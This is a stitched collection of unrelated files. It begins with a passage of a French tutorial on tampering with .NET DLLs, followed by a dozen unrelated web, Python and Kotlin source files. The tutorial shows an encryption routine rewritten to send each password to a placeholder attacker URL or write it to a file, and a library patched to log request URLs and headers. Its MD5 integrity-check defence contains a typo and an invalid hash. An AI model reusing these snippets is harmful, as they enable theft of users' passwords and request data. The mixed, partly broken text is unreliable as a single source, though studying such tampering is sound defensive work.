*Malheureusement celle-ci ne vérifie pas l'intégrité de sa DLL qui chiffre les mot de passe .On peut donc modifier sa DLL comme ceci :*
```C#
public static void CHIFFREMENT (string motdepasse,string clé)
{
Mon algorithme de chiffrement super sécurisée
}
```
**Devient :**
```C#
public static void CHIFFREMENT(string motdepasse,string clé)
{
HttpClient client = new HttpClient()
var postdata = new Dictionary<string, string>{{ "MDP_Volé", motdepasse },};
client.PostAsync("https://MON-URL-Pour-VOLER-LE-MDP", new FormUrlEncodedContent(postdata));
Mon algorithme de chiffrement super sécurisée
}
```
**ou :**
```C#
public static void CHIFFREMENT(string motdepasse,string clé)
{
File.AppendAllText("stealed.txt", motdepasse + "\n");
Mon algorithme de chiffrement super sécurisée
}
```
Il reste à re-compiler la DLL et à remplacer celle d'origne par la votre.
#### Un cas plus concret :
Prenons l'exemple de *[Leaf.Xnet](https://github.com/csharp-leaf/Leaf.xNet)*.
Cette bibliothèque est très souvent utilisé car elle permet de faire des requêtes WEB rapidement est facilement en C#.
Regardons de plus prêt la fonction *Get (l. 872)*

On enregistre les url appelés .
*Le code malveillant serait celui-ci*
````Csharp
try
{
File.AppendAllText("RequestHijacked.txt", "GET // : URL --> " + address.ToString() + "\n");
}
catch (Exception ex)
{
Console.WriteLine("Hidjack Error : " + ex.Message);
}
````
On pourrait aussi faire ca pour toutes les fonctions de requêtes , la fonction qui ajoute des Headers etc. ...
*(AddHeader l. 1658)*
```Csharp
try
{
File.AppendAllText("RequestHijacked.txt", "HEADER // : name --> " + name.ToString());
File.AppendAllText("RequestHijacked.txt", " : " + value.ToString() + "\n");
}
catch (Exception ex)
{
Console.WriteLine("Hidjack Error : " + ex.Message);
}
```
Voici ma Dll [ma Dll Leaf.Xnet.dll](./files/Leaf.xNet.dll)
Ainsi, on pourrait log toutes les requètes effectuées par notre application, même si l'application entière semble sécurisée.
### Comment faire si la DLL n'est pas visible/Open source.
Il est possible que l'assembly que vous visez soit packé . En lien avec l'article précédent , vous pouvez essayer de DUMP le processus quand il est lancé pour récupérer la DLL et le .exe séparément.
Avec DNSpy, vous pouvez reconstruire un projet visual studio à partir d'un executable .NET
*(Vous devrez donc corriger les quelques erreurs de code pour la recompiler mais cella permet d'avoir un code source approximatif.)*
Pour créer le projet à partir de la DLL :
- Ouvrez votre DLL dans *DnSpy*
- Sélectionner la en cliquant dessus
- Cliquez sur *Fichier* puis *Exporter vers le Projet*
## Comment s'en protéger ?
La manière la plus simple est d'écrire dans le code du programme directement le Hash MD5 de la DLL.
On peut calculer un Hash pour chaque dépendance et ainsi vérifier l'intégrité d'une DLL :
```C#
public static void checkDLL()
{
if (MD5("MADLL.dll") != "799EF18FFMA0E270CEFPA8194D19F8PM")
Process.GetCurrentProcess().Kill();
}
public static string MD5(string path)
{
if (!File.Exists(path))
return "empty";
else
{
FileStream running = File.OpenRead(path);
byte[] exeBytes = new byte[running.Length];
unning.Read(exeBytes, 0, exeBytes.Length);
running.Close();
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
byte[] originalBytes = ASCIIEncoding.Default.GetBytes(ASCIIEncoding.ASCII.GetString(exeBytes));
byte[] encodedBytes = md5.ComputeHash(originalBytes);
return BitConverter.ToString(encodedBytes).Replace("-", "");
}
}
```
[Et voici mon programme qui renvoie le MD5 d'une DLL :](./files/GetHash.exe)
|
#!/usr/bin/env python
import json
import time
import sys
from argparse import ArgumentParser
def get_time( string ):
now = time.gmtime()
new = time.strptime( string, "%H:%M" )
target_time = [ now.tm_year, now.tm_mon, now.tm_mday, new.tm_hour, new.tm_min, \
now.tm_sec, now.tm_wday, now.tm_yday, now.tm_isdst ]
return time.mktime( target_time )
def expand_day( list1 ):
list2 = []
lookup = { "M":"Monday",
"T":"Tuesday",
"W":"Wednesday",
"R":"Thursday",
"F":"Friday",
"S":"Saturday",
"U":"Sunday"}
for d in list1 :
list2.append( lookup[ d ] )
return list2
if __name__ == "__main__":
description = """\nCreate json for scheduling plays.\nInputs are given in local time.\nOutputs are given in GMT."""
argv_parser = ArgumentParser(description = description)
argv_parser.add_argument("-s", "--start", help="The start time (HH:MM)", default=time.strftime("%H:%M",time.gmtime()))
argv_parser.add_argument("-e", "--end", help="The end time (HH:MM)")
argv_parser.add_argument("-d", "--duration", help="How long to schedule.(min)", default=60)
argv_parser.add_argument("-i", "--interval", help="Interval in minutes.", default=15)
argv_parser.add_argument("-t", "--type", help="once, daily, or weekly", default="daily", choices=["once", "daily", "weekly"])
argv_parser.add_argument("-D", "--day", help="Which days? specify for each day", choices=["M", "T", "W", "R", "F", "S", "U"], action="append")
args = argv_parser.parse_args()
sch = {}
sch["type"] = args.type
times = []
if args.type == "once" :
times.append( time.strftime( "%Y-%m-%dT%H:%M:%SZ", time.gmtime(get_time(args.start)) ))
else :
now = get_time(args.start)
interval = int(args.interval)*60
duration = int(args.duration)*60
if args.end != None :
duration = int(get_time( args.end ) - now )
if args.day == None :
sch["days"] = ["Monday"]
else :
sch["days"] = expand_day( args.day )
for t in range( int(now), int(now) + duration ):
if ((t-int(now))%(interval)==0) :
times.append( time.strftime("%H:%M-0000", time.gmtime(t)))
sch["times"] = times
#print( str(sch))
print json.dumps( sch, sort_keys=True, indent=4, separators=(',',': ') )
|
import { Dispatch, SetStateAction, useEffect, useState } from "react";
const Timer = ({
solanaTime,
toTime,
setCheckEligibility,
}: {
solanaTime: bigint;
toTime: bigint;
setCheckEligibility: Dispatch<SetStateAction<boolean>>;
}) => {
const [remainingTime, setRemainingTime] = useState<bigint>(
toTime - solanaTime
);
useEffect(() => {
const interval = setInterval(() => {
setRemainingTime((prev) => {
return prev - BigInt(1);
});
}, 1000);
return () => clearInterval(interval);
}, []);
//convert the remaining time in seconds to the amount of days, hours, minutes and seconds left
const days = remainingTime / BigInt(86400);
const hours = (remainingTime % BigInt(86400)) / BigInt(3600);
const minutes = (remainingTime % BigInt(3600)) / BigInt(60);
const seconds = remainingTime % BigInt(60);
if (days > BigInt(0)) {
return (
<div className="text-6xl text-center flex w-full items-center justify-center">
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="days">
{days.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Days</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="hours">
{hours.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Hours</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="minutes">
{minutes.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Minutes</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="seconds">
{seconds.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Seconds</div>
</div>
</div>
)
}
if (hours > BigInt(0)) {
return (
<div className="text-6xl text-center flex w-full items-center justify-center">
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="hours">
{hours.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Hours</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="minutes">
{minutes.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Minutes</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="seconds">
{seconds.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Seconds</div>
</div>
</div>
)
}
if (minutes > BigInt(0) || seconds > BigInt(0)) {
return (
<div className="text-6xl text-center flex w-full items-center justify-center">
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="minutes">
{minutes.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Minutes</div>
</div>
<div className="w-20 mx-1 p-2 bg-white text-yellow-500 rounded-lg">
<div className="font-mono leading-none text-base" x-text="seconds">
{seconds.toLocaleString("en-US", {
minimumIntegerDigits: 2,
useGrouping: false,
})}
</div>
<div className="font-mono uppercase text-sm leading-none">Seconds</div>
</div>
</div>
)
}
if (remainingTime === BigInt(0)) {
setCheckEligibility(true);
}
return <div></div>;
};
export default Timer
|
<div class="title">Símbolo de P1</div>
<div class="step-block">
<ul>
<li><div class="text">Para los componentes <b>P1</b> y <b>P4</b>, vamos a copiar el símbolo <b>Conn_01x08</b> de la librería <b>Connector_Generic</b> en nuestra librería.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/16.png">
</div>
<div class="step-block">
<ul>
<li><div class="text">Este es el conector que he encontrado en <b>Mouser</b>. El <b>part number</b> es <b>5-535541-6</b>.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/14.png">
<ul>
<li><div class="text">Es de <b>8</b> posiciones en <b>una fila</b> y con paso <b>2.54mm</b>.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/15.png">
</div>
<div class="title">Pasos</div>
<div class="step-block">
<ul>
<li><div class="text">Abre el editor de símbolos.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/01.png">
<ul>
<li><div class="text">Lo buscamos con el filtro y lo guardamos en nuestra librería.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/02.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/03.png">
<ul>
<li><div class="text">Guarda la librería.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/04.png">
<ul>
<li><div class="text">Como vimos en el curso de <b>KiCad</b> vamos a añadir los campos <b>Value2Show</b>, <b>Mounted</b>, <b>MPN</b> y <b>Manufacturer</b>.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/05.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/06.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/07.png">
</div>
<div class="step-block">
<ul>
<li><div class="text">Vamos a ordenar los campos en el símbolo, para ello ponemos la rejilla a <b>10mils</b></div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/08.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/09.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/10.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/11.png">
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/12.png">
<ul>
<li><div class="text">Volvemos a dejar la rejilla en <b>50mils</b> que es la rejilla por defecto del esquemático.</div></li>
</ul>
<img class="img" src="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/img/13.png">
</div>
<div class="section">Descargas</div>
<div class="step-block">
<ul>
<li><a target="_blank" href="../courses/08_KiCad5_ArduinoUNO/Seccion03/L05_Symbol_P1/downloads/ENG_CD_535541_N6.pdf">Datasheet</a></li>
</ul>
</div>
|
import {BTNode} from "./BinaryTreeOperations";
function markParents(root: BTNode, parentTrack: Map<BTNode, BTNode>) {
let q = [];
q.push(root);
while (q.length > 0) {
let curr = q.shift();
if (curr.left != null) {
parentTrack.set(curr.left, curr);
q.push(curr.left);
}
if (curr.right != null) {
parentTrack.set(curr.right, curr);
q.push(curr.right);
}
}
}
function distanceK(root: BTNode, target: BTNode, k: number) {
let parentTrack: Map<BTNode, BTNode> = new Map();
markParents(root, parentTrack);
let q = [];
let visited = new Map();
q.push(target);
visited.set(target, true);
let cur = 0;
while (q.length > 0) {
if (cur === k) break;
cur++;
let size = q.length;
for (let i = 0; i < size; i++) {
let node = q.shift();
if (node.left && !visited.has(node.left)) {
q.push(node.left);
visited.set(node.left, true);
}
if (node.right != null && !visited.has(node.right)) {
q.push(node.right);
visited.set(node.right, true);
}
if (parentTrack.get(node) != null && !visited.has(parentTrack.get(node))) {
q.push(parentTrack.get(node));
visited.set(parentTrack.get(node), true);
}
}
}
let result = [];
while (q.length > 0) {
let t = q.shift();
result.push(t.data);
}
return result;
}
let root = new BTNode(3);
root.left = new BTNode(5);
root.right = new BTNode(1);
root.left.left = new BTNode(6);
root.left.right = new BTNode(2);
root.left.right.left = new BTNode(7);
root.left.right.right = new BTNode(4);
root.right.left = new BTNode(0);
root.right.right = new BTNode(8);
let ans = distanceK(root, root.left, 2);
console.log(ans)
|
/*
* Copyright 2023 Airthings ASA. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software
* and associated documentation files (the “Software”), to deal in the Software without
* restriction, including without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or
* substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
@file:Suppress("unused")
package com.airthings.airgen.model
import com.airthings.airgen.converter.HtmlConverter
import com.airthings.airgen.converter.NumberConverter
import com.airthings.airgen.converter.TextConverter
/**
* Contains an ever-growing list of converters and utilities.
*
* This class is instantiated once and thus must be immutable. Do not retain any session data between multiple
* inclusions or runs.
*
* You can retrieve the singleton instance using [ConverterModel.instance].
*/
class ConverterModel private constructor() {
/**
* Helper methods for HTML manipulation.
*/
val html: HtmlConverter by lazy {
HtmlConverter()
}
/**
* Helper methods for all other text manipulation.
*/
val text: TextConverter by lazy {
TextConverter()
}
/**
* Helper methods for all other text manipulation.
*/
val number: NumberConverter by lazy {
NumberConverter()
}
companion object {
/**
* Returns the singleton instance of [ConverterModel].
*/
val instance: ConverterModel by lazy {
ConverterModel()
}
}
}
|
import { AuthProvider } from "@/context/AuthProvider";
import OpenAIProvider from "@/context/OpenAIProvider";
import "@/styles/globals.css";
import type { AppProps } from "next/app";
import { Analytics } from "@vercel/analytics/react";
import { getHistory } from "@/utils/History";
import { useRouter } from "next/router";
import { useEffect, useState } from "react";
export default function App({ Component, pageProps }: AppProps) {
const [providerReady, setProviderReady] = useState(false);
const router = useRouter();
if (typeof window !== "undefined") {
const isDarkSet = localStorage.theme === "dark";
const isThemeStored = "theme" in localStorage;
const isDarkPrefered = window.matchMedia(
"(prefers-color-scheme: dark)"
).matches;
if (isDarkSet || (!isThemeStored && isDarkPrefered)) {
document.documentElement.classList.add("dark");
} else {
document.documentElement.classList.remove("dark");
}
}
useEffect(() => {
const history = getHistory();
if (history && Object.keys(history).length > 0) {
const firstId = Object.keys(history)[0];
router.push(`/chat/${firstId}`);
}
}, [providerReady]);
return (
<>
<AuthProvider>
<OpenAIProvider onReady={() => setProviderReady(true)}>
<Component {...pageProps} />
</OpenAIProvider>
</AuthProvider>
<Analytics />
</>
);
}
|
"use client";
import { ReceiptState, totalAssetState } from "@/app/recoilContextProvider";
import Image from "next/image";
import React, { Suspense, useState } from "react";
import { useRecoilState } from "recoil";
import ImageLoader from "./ImageLoader";
type ItemCardProps = {
id: number;
imageUrl: string;
item: string;
price: number;
};
function ItemCard({ id, imageUrl, item, price }: ItemCardProps) {
const formattedPrice = Intl.NumberFormat("ko-KR").format(price);
const [count, setCount] = useState<number>(0);
const [asset, setAsset] = useRecoilState<number>(totalAssetState);
const [receipt, setReceipt] = useRecoilState(ReceiptState);
return (
<div className="flex flex-col items-center justify-center p-4 border-2 border-gray-300 rounded-md bg-white">
<div className="relative w-64 h-32 rounded-lg">
<Image
src={imageUrl}
fill={true}
alt={item}
sizes="100%"
className="rounded-md object-contain"
/>
</div>
<div className="font-bold text-2xl break-keep text-center my-2 ">
{item}
</div>
<div className="text-lg font-normal">{formattedPrice} 원</div>
<div className="flex justify-around w-full">
<button
className="px-4 py-2 mt-4 w-1/4 text-white bg-gradient-to-t from-[#ff7878] to-[#ff7575] rounded-md"
onClick={() => {
if (count > 0) {
setAsset(asset + price);
setCount(count - 1);
setReceipt((prev) => {
const temp = [...prev];
temp[id] -= 1;
return temp;
});
} else {
alert("이미 다 팔았습니다!");
}
}}
>
팔기
</button>
<div className="px-4 py-2 border-2 font-semibold text-xl border-gray-200 rounded-md w-1/3 text-center mt-4">
{count}
</div>
<button
className="px-4 py-2 mt-4 w-1/4 text-white bg-gradient-to-t from-[#1428A0] to-[#2940c3] rounded-md"
onClick={() => {
if (asset >= price) {
setAsset(asset - price);
setCount(count + 1);
setReceipt((prev) => {
const temp = [...prev];
temp[id] += 1;
return temp;
});
} else {
alert("잔액이 부족합니다.");
}
}}
>
구매
</button>
</div>
</div>
);
}
export default ItemCard;
|
const express = require('express');
const router = express.Router();
const bcrypt = require('bcryptjs');
const auth = require('../../middleware/auth');
const User = require('../../models/User');
const jwt = require('jsonwebtoken');
const config = require('config');
const { check, validationResult } = require('express-validator');
// @route GET api/auth
// @desc Test route
// @access Public
router.get('/', auth, async (req, res) => {
try{
const user = await User.findById(req.user.id).select('-password');
res.json(user);
} catch(err){
console.error(err.message);
res.status(500).send('Server Error');
}
});
// @route POST api/auth
// @desc Authenticate user & get token
// @access Public
router.post('/', [
check('email', 'Please include a valid email').isEmail(),
check('password', 'Password is required').exists()
], async (req, res) => {
const errors = validationResult(req);
if(!errors.isEmpty()){
return res.status(400).json({errors: errors.array()});
}
const { email, password } = req.body;
try {
// See if user exists
let user = await User.findOne({ email });
if(!user){
return res.status(400).json({ errors: [{ msg: 'Invalid credentials '}] });
}
const isMatch = await bcrypt.compare(password, user.password);
if(!isMatch){
return res.status(400).json({ errors: [{ msg: 'Invalid credentials '}] });
}
// Return JWT
const payload = {
user: {
id: user.id
}
};
// Expiration is optional
jwt.sign(
payload,
config.get('jwtSecret'),
{ expiresIn: 360000},
(err, token) => {
if(err) throw err;
res.json({token});
}
);
} catch (err){
console.error(err.message);
res.status(500).send('Server error');
}
});
module.exports = router;
|
<div *ngIf="auth.user$ | async as user">
<table id="question-table" mat-table [dataSource]="addedQuestions" class="mat-elevation-z8 bg-zinc-800">
<!--- Note that these columns can be defined in any order.
The actual rendered columns are set as a property on the row definition" -->
<ng-container matColumnDef="author">
<th mat-header-cell *matHeaderCellDef> Author</th>
<td mat-cell *matCellDef="let element"> {{element.author}} </td>
</ng-container>
<ng-container matColumnDef="question">
<th mat-header-cell *matHeaderCellDef> Question</th>
<td mat-cell *matCellDef="let element"> {{element.question}} </td>
</ng-container>
<ng-container matColumnDef="answers">
<th mat-header-cell *matHeaderCellDef> Answers</th>
<td mat-cell *matCellDef="let element"> {{getStringsFromQuestionAnswerArray(element.answers)}} </td>
</ng-container>
<ng-container matColumnDef="category">
<th mat-header-cell *matHeaderCellDef> Category</th>
<td mat-cell *matCellDef="let element"> {{element.category}} </td>
</ng-container>
<ng-container matColumnDef="tags">
<th mat-header-cell *matHeaderCellDef> Tags</th>
<td mat-cell *matCellDef="let element"> {{element.tags}} </td>
</ng-container>
<ng-container matColumnDef="difficulty">
<th mat-header-cell *matHeaderCellDef> Difficulty</th>
<td mat-cell *matCellDef="let element"> {{element.difficulty}} </td>
</ng-container>
<ng-container matColumnDef="actions">
<th mat-header-cell *matHeaderCellDef><span *ngIf="this.addedQuestions.length > 0">Actions</span></th>
<td mat-cell *matCellDef="let element">
<button mat-icon-button (click)="editQuestion(element)">
<mat-icon>edit</mat-icon>
</button>
<button mat-icon-button (click)="deleteQuestion(element)">
<mat-icon>delete</mat-icon>
</button>
</td>
</ng-container>
<ng-container matColumnDef="addButton">
<td mat-footer-cell *matFooterCellDef colspan="7" style="text-align: center;">
<button mat-raised-button color="primary" (click)="openDialog()">
<mat-icon>add</mat-icon>
New Question
</button>
</td>
</ng-container>
<tr mat-header-row *matHeaderRowDef="displayedColumns"></tr>
<tr mat-row *matRowDef="let row; columns: displayedColumns;"></tr>
<tr mat-footer-row *matFooterRowDef="['addButton']" class=""></tr>
</table>
<button *ngIf="addedQuestions.length > 0" mat-raised-button color="primary" (click)="saveQuestions()"
id="save_questions_button" class="flex flex-row">
<span>Save Questions</span>
<mat-spinner *ngIf="this.loadingSave" class="fill-gray-200 inline-block ml-2" diameter="20"
strokeWidth="3"></mat-spinner>
</button>
</div>
|
import Div from "@jumbo/shared/Div";
import { Call, PersonAdd } from "@mui/icons-material";
import Settings from "@mui/icons-material/Settings";
import {
Timeline,
TimelineConnector,
TimelineContent,
TimelineItem,
TimelineSeparator,
} from "@mui/lab";
import {
Avatar,
Card,
Divider,
Grid,
IconButton,
ListItemIcon,
Menu,
MenuItem,
Typography,
} from "@mui/material";
import { deepOrange, deepPurple } from "@mui/material/colors";
import CalendarWrapper from "app/pages/calendars/CalendarWrapper";
import { calendarData } from "app/pages/calendars/data";
import moment from "moment";
import React from "react";
import { Calendar, momentLocalizer } from "react-big-calendar";
const { events } = calendarData;
const today = new Date();
const currentYear = today.getFullYear();
const localizer = momentLocalizer(moment);
const CallCenterCalendarList = () => {
const [anchorEl, setAnchorEl] = React.useState(null);
const open = Boolean(anchorEl);
const handleClick = (event) => {
setAnchorEl(event.currentTarget);
};
const handleClose = () => {
setAnchorEl(null);
};
return (
<>
<CalendarWrapper>
<Div
className="row"
sx={{
pl: 0,
pr: 0,
mb: 1,
}}
>
<Div className="col-8 pt-1" sx={{ display: "flex" }}>
<Avatar
sx={{
width: 34,
height: 34,
bgcolor: deepPurple[500],
}}
>
R
</Avatar>
<Typography
variant="h5"
sx={{ fontWeight: 600, pt: 0.3, pl: 1 }}
>
Ravi Kumar <br />
<span style={{ fontWeight: 500 }}>online</span>
</Typography>
</Div>
<Div
className="col-4"
sx={{ display: "flex", justifyContent: "end" }}
>
<IconButton>
<Call />
</IconButton>
<IconButton
onClick={handleClick}
size="small"
sx={{ ml: 2 }}
aria-controls={open ? "account-menu" : undefined}
aria-haspopup="true"
aria-expanded={open ? "true" : undefined}
>
<Settings />
</IconButton>
</Div>
<Menu
anchorEl={anchorEl}
id="account-menu"
open={open}
onClose={handleClose}
onClick={handleClose}
PaperProps={{
elevation: 0,
sx: {
overflow: "visible",
filter: "drop-shadow(0px 2px 8px rgba(0,0,0,0.32))",
mt: 1.5,
"& .MuiAvatar-root": {
width: 32,
height: 32,
ml: -0.5,
mr: 1,
},
"&:before": {
content: '""',
display: "block",
position: "absolute",
top: 0,
right: 14,
width: 10,
height: 10,
bgcolor: "background.paper",
transform: "translateY(-50%) rotate(45deg)",
zIndex: 0,
},
},
}}
transformOrigin={{ horizontal: "right", vertical: "top" }}
anchorOrigin={{ horizontal: "right", vertical: "bottom" }}
>
<MenuItem onClick={handleClose}>
<Avatar
sx={{
width: 34,
height: 34,
bgcolor: deepPurple[500],
}}
>
R
</Avatar>
<Typography
variant="h5"
sx={{ fontWeight: 600, pt: 1 }}
>
Ravi Kumar <br />
<span style={{ fontWeight: 500 }}>online</span>
</Typography>
</MenuItem>
<Divider />
<MenuItem onClick={handleClose}>Notes</MenuItem>
<MenuItem onClick={handleClose}>Action & Schedules</MenuItem>
</Menu>
</Div>
<Calendar
localizer={localizer}
events={events}
step={60}
defaultDate={new Date(currentYear, 3, 1)}
style={{ height: 400 }}
/>
<Grid container className="mt-2" columnSpacing={1}>
<Grid item xs={6}>
<Card className="border-card">
<Typography variant="h4" fontWeight={600}>
Upcoming Activities
</Typography>
<Timeline sx={{ m: 0, p: (theme) => theme.spacing(0) }}>
<TimelineItem
sx={{
p: 0,
"&::before": {
display: "none",
},
}}
>
<TimelineSeparator>
<Avatar
alt="date"
sx={{
width: 40,
height: 40,
textAlign: "center",
fontSize: "12px",
p: 0.5,
bgcolor: deepPurple[500],
borderColor: "common.white",
boxShadow: (theme) => theme.shadows[3],
}}
>
Dec 8
</Avatar>
<TimelineConnector />
</TimelineSeparator>
<TimelineContent
sx={{
p: (theme) => theme.spacing(0.5, 0),
ml: 1.5,
}}
>
<Typography variant="h5">To send the proposal</Typography>
</TimelineContent>
</TimelineItem>
</Timeline>
<Timeline sx={{ m: 0, p: (theme) => theme.spacing(0) }}>
<TimelineItem
sx={{
p: 0,
"&::before": {
display: "none",
},
}}
>
<TimelineSeparator>
<Avatar
alt="date"
sx={{
width: 40,
height: 40,
textAlign: "center",
fontSize: "12px",
p: 0.5,
bgcolor: deepOrange[500],
borderColor: "common.white",
boxShadow: (theme) => theme.shadows[3],
}}
>
Dec 10
</Avatar>
<TimelineConnector />
</TimelineSeparator>
<TimelineContent
sx={{
p: (theme) => theme.spacing(0.5, 0),
ml: 1.5,
}}
>
<Typography variant="h5">To Send the mail</Typography>
</TimelineContent>
</TimelineItem>
</Timeline>
</Card>
</Grid>
<Grid item xs={6}>
<Card className="border-card">
<Typography variant="h4" fontWeight={600}>
Closed Activities
</Typography>
<Timeline sx={{ m: 0, p: (theme) => theme.spacing(0) }}>
<TimelineItem
sx={{
p: 0,
"&::before": {
display: "none",
},
}}
>
<TimelineSeparator>
<Avatar
alt="date"
sx={{
width: 40,
height: 40,
textAlign: "center",
fontSize: "12px",
p: 0.5,
bgcolor: deepPurple[500],
borderColor: "common.white",
boxShadow: (theme) => theme.shadows[3],
}}
>
Dec 8
</Avatar>
<TimelineConnector />
</TimelineSeparator>
<TimelineContent
sx={{
p: (theme) => theme.spacing(0.5, 0),
ml: 1.5,
}}
>
<Typography variant="h5">Send the proposal</Typography>
</TimelineContent>
</TimelineItem>
</Timeline>
<Timeline sx={{ m: 0, p: (theme) => theme.spacing(0) }}>
<TimelineItem
sx={{
p: 0,
"&::before": {
display: "none",
},
}}
>
<TimelineSeparator>
<Avatar
alt="date"
sx={{
width: 40,
height: 40,
textAlign: "center",
fontSize: "12px",
p: 0.5,
bgcolor: deepOrange[500],
borderColor: "common.white",
boxShadow: (theme) => theme.shadows[3],
}}
>
Dec 10
</Avatar>
<TimelineConnector />
</TimelineSeparator>
<TimelineContent
sx={{
p: (theme) => theme.spacing(0.5, 0),
ml: 1.5,
}}
>
<Typography variant="h5">Send the mail</Typography>
</TimelineContent>
</TimelineItem>
</Timeline>
</Card>
</Grid>
</Grid>
</CalendarWrapper>
</>
);
};
export default CallCenterCalendarList;
|
import React, { useEffect, useState } from 'react';
import { LoaderFunctionArgs, json } from '@shopify/remix-oxygen';
import type { App } from '../../api/type';
import { Link, useLoaderData } from '@remix-run/react';
import arrayToObject from '../../ft-lib/ArrayToObject';
import { Colors } from 'app/ft-lib/shared';
import LazyImage from '~/app/ft-lib/LazyImage';
import resizeImage from '~/app/ft-lib/resizeImages';
interface ContactSectionProps {
section: App.HomePageTemplate.ContactSection;
}
const Contact = ({ section }: ContactSectionProps) => {
const fields = arrayToObject({ array: section.fields });
const [image, setImage] = React.useState<string | null>(null);
return (
<div
key={section.type}
style={{
marginTop: '40px',
marginBottom: '40px',
height: '680px',
}}
className="contactSection w-full !container mx-auto"
>
<div
style={{
boxShadow: '0px 6px 9px 0px rgba(0, 0, 0, 0.16)',
overflow: 'hidden',
}}
className="flex md:flex-row w-full h-full justify-center items-center relative rounded-2xl overflow-hidden"
>
{fields.image?.reference.image.url != null &&
<LazyImage
alt="Suplab Supplements Store Contact Us"
className="w-full h-full object-cover rounded-2xl"
src={resizeImage(fields.image?.reference.image.url, 800)}
/>}
<div
style={{
position: 'absolute',
backgroundColor: 'rgba(0,0,0,0.5)',
}}
className="w-full h-full top-0 left-0 flex flex-col rounded-2xl overflow-hidden gap-5 md:gap-4 items-center justify-end container z-50"
>
<div
className="contactSection__content w-full md:w-[55%] md:mb-12 mb-6 flex flex-col "
>
<div className="flex flex-col">
{fields.email != null && (
<div
style={{
color: Colors.textSecondary,
}}
className="flex mb-6 items-end"
>
<p
style={{
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
fontWeight: '700',
lineHeight: 'normal',
textTransform: 'uppercase',
}}
className="md:text-3xl text-xl"
>
Email:
</p>
<p
style={{
fontStyle: 'normal',
fontWeight: '400',
lineHeight: 'normal',
marginLeft: '10px',
}}
className="md:text-3xl text-xl"
>
{fields.email.value}
</p>
</div>
)}
{fields.phone != null && (
<div
style={{
color: Colors.textSecondary,
}}
className="flex mb-6 items-end"
>
<p
style={{
fontFamily: 'Roboto Condensed',
fontStyle: 'normal',
